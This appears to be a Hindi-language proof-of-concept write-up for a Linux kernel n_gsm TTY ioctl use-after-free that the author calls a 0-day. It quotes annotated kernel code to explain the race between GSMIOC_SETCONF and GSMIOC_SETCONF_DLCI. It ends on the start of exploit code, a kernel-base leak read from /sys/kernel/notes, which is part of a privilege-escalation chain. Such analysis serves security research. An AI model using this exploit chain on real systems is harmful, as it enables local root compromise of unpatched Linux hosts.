
Linux kernel n_gsm TTY ioctl use-after-free एक्सप्लॉइट PoC: रेस कंडीशन विश्लेषण, kernel base leak, heap spray, RIP hijack, arbitrary write, और modprobe_path विशेषाधिकार उन्नयन।
यह अभी भी 0-day प्रतीत होता है। vulnerability patch होने से पहले मेरा यह exploit प्रकाशित करने का कोई इरादा नहीं था, लेकिन एक अन्य researcher ने, जिसने वही vulnerability खोजी थी, एक 0-day exploit प्रकाशित कर दिया, इसलिए मैंने भी अपना code प्रकाशित कर दिया। कृपया इसका उपयोग केवल research उद्देश्यों के लिए करें।
[1] GSMIOC_SETCONF: GSM की configuration को reset करता है।
[2] GSMIOC_GETCONF_DLCI: GSM से संबद्ध DLCI configuration प्राप्त करता है।
[3] GSMIOC_SETCONF_DLCI: GSM से संबद्ध DLCI configuration को बदलता है।
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF:
if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
return -EFAULT;
return gsm_config(gsm, &c);//[1]
....
case GSMIOC_GETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
gsm_dlci_copy_config_values(dlci, &dc);//[2]
if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
return -EFAULT;
return 0;
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
default:
return n_tty_ioctl_helper(tty, cmd, arg);
}
}
आइए पहले GSMIOC_SETCONF की जाँच करें, जो GSM के कॉन्फ़िगरेशन को बदलता है।
[1] यदि GSM का वर्तमान कॉन्फ़िगरेशन नए कॉन्फ़िगरेशन से भिन्न है, तो need_restart को true के रूप में चिह्नित किया जाता है।
[2] यदि need_restart true है, तो वर्तमान GSM को gsm_cleanup_mux के माध्यम से समाप्त किया जाता है।
static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
int need_close = 0;
int need_restart = 0;
...
if (c->mtu != gsm->mtu)//[1]
need_restart = 1;
/*
* Close down what is needed, restart and initiate the new
* configuration. On the first time there is no DLCI[0]
* and closing or cleaning up is not necessary.
*/
if (need_close || need_restart)
gsm_cleanup_mux(gsm, true);//[2]
...
return 0;
}
[1] GSM के स्वामित्व वाले सभी DLCI, gsm_dlci_release के माध्यम से जारी किए जाते हैं।
static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
int i;
struct gsm_dlci *dlci;
struct gsm_msg *txq, *ntxq;
gsm->dead = true;
mutex_lock(&gsm->mutex);
...
for (i = NUM_DLCI - 1; i >= 0; i--)
if (gsm->dlci[i]){
gsm_dlci_release(gsm->dlci[i]);//[1]
}
...
}
इसके बाद, फ़ंक्शन निम्नलिखित क्रम में कॉल किए जाते हैं:
[1] Use-After-Free (UAF) को रोकने के लिए gsm->dlci[addr] में NULL असाइन किया जाता है।
[2] इसके बाद, kfree का उपयोग करके gsm->dlci[addr] को मुक्त किया जाता है।
static void gsm_dlci_free(struct tty_port *port)
{
struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);
timer_shutdown_sync(&dlci->t1);
dlci->gsm->dlci[dlci->addr] = NULL;//[1]
kfifo_free(&dlci->fifo);
while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
dev_kfree_skb(dlci->skb);
kfree(dlci);//[2]
}
आइए GSMIOC_SETCONF_DLCI की जाँच करें, जो GSM के स्वामित्व वाले DLCI के कॉन्फ़िगरेशन मानों को बदलता है।
[1] उपयोगकर्ता से पता (addr) सहित DLCI कॉन्फ़िगरेशन पढ़ता है।
[2] gsm->dlci[addr] का संदर्भ लेता है।
[3] DLCI के कॉन्फ़िगरेशन को बदलने के लिए gsm_dlci_config को कॉल करता है।
static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
unsigned long arg)
{
...
case GSMIOC_SETCONF_DLCI:
if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
return -EFAULT;
if (dc.channel == 0 || dc.channel >= NUM_DLCI)
return -EINVAL;
addr = array_index_nospec(dc.channel, NUM_DLCI);
dlci = gsm->dlci[addr];//[2]
if (!dlci) {
dlci = gsm_dlci_alloc(gsm, addr);
if (!dlci)
return -ENOMEM;
}
return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}
[1] उपयोगकर्ता द्वारा पास किए गए विकल्पों के आधार पर need_open को true पर सेट करता है।
[2] तब तक प्रतीक्षा करता है जब तक dlci->state DLCI_CLOSED न हो जाए।
[3] यदि केवल gsm->initiator true है, तो DLCI को पुनः आरंभ करने के लिए gsm_dlci_begin_open फ़ंक्शन को कॉल किया जाता है।
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
struct gsm_mux *gsm;
bool need_restart = false;
bool need_open = false;
unsigned int i;
...
if (dc->flags & GSM_FL_RESTART)
need_restart = true;
if ((open && gsm->wait_config) || need_restart)//[1]
need_open = true;
if (dlci->state == DLCI_WAITING_CONFIG) {
need_restart = false;
need_open = true;
}
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
if (signal_pending(current))
return -EINTR;
}
...
if (need_open) {
if (gsm->initiator)
gsm_dlci_begin_open(dlci);//[3]
else
gsm_dlci_set_opening(dlci);
}
return 0;
}
[1] लॉक के बिना gsm->dlci तक पहुँचता है।
[1] gsm_dlci_config dlci तक पहुँचता है। यदि GSMIOC_SETCONF के कारण gsm_cleanup_mux को कॉल किया गया है, तो रेस कंडीशन Use-After-Free (UAF) का कारण बन सकती है।
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
/*
* Close down what is needed, restart and initiate the new
* configuration.
*/
if (need_restart) {
gsm_dlci_begin_close(dlci);
wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
if (signal_pending(current))
return -EINTR;
}
...
unsigned long get_kernel_base(){
const char *filePath = "/sys/kernel/notes";
const char pattern[] = "Xen\\x00";
FILE *file;
uint8_t buffer[1024];
size_t bytesRead;
int found = 0;